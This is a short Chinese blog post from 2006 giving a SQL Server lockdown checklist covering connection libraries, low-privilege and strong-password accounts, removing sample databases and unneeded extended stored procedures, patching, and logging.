<P>[SQL SERVER锁定] <BR>在这指出的重要一点是锁定SQL SERVER是必要的；外面的是不安全的。这是一个但创建SQL SERVER时需要做的事情的简短的列表： <BR>1.确定连接服务器的方法 <BR>a.确定你所使用的网络库是可用的，那么使用"Network Utility" <BR>2.确定哪些帐户是存在的 <BR>a.为应用程序的使用创建一个低权限的帐户 <BR>b.删除不必要的帐户 <BR>c.确定所有帐户有强壮的密码；执行密码审计 <BR>3.确定哪些对象存在 <BR>a.许多扩展存储过程能被安全地移除。如果这样做了，应该移除包含在扩展存储过程代码中的'.dll'文件 <BR>b.移除所有示例数据库——例如'northwind'和'pubs'数据库 <BR>4.确定哪写帐户能过使用哪些对象 <BR>a.应用程序进入数据库所使用的帐户应该有保证能够使用它需要的对象的最小权限 <BR>5.确定服务器的补丁 <BR>a.针对SQL SERVER有一些缓冲区溢出和格式化字符串攻击，也有一些其他的安全补丁发布。应该存在很多。 <BR>6.确定什么应该被日志记录，什么应该在日志中结束。 <BR></P></DIV><img src ="http://www.blogjava.net/bcims/aggbug/28341.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bcims/" target="_blank">bcims</a> 2006-01-17 19:53 <a href="http://www.blogjava.net/bcims/archive/2006/01/17/28341.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>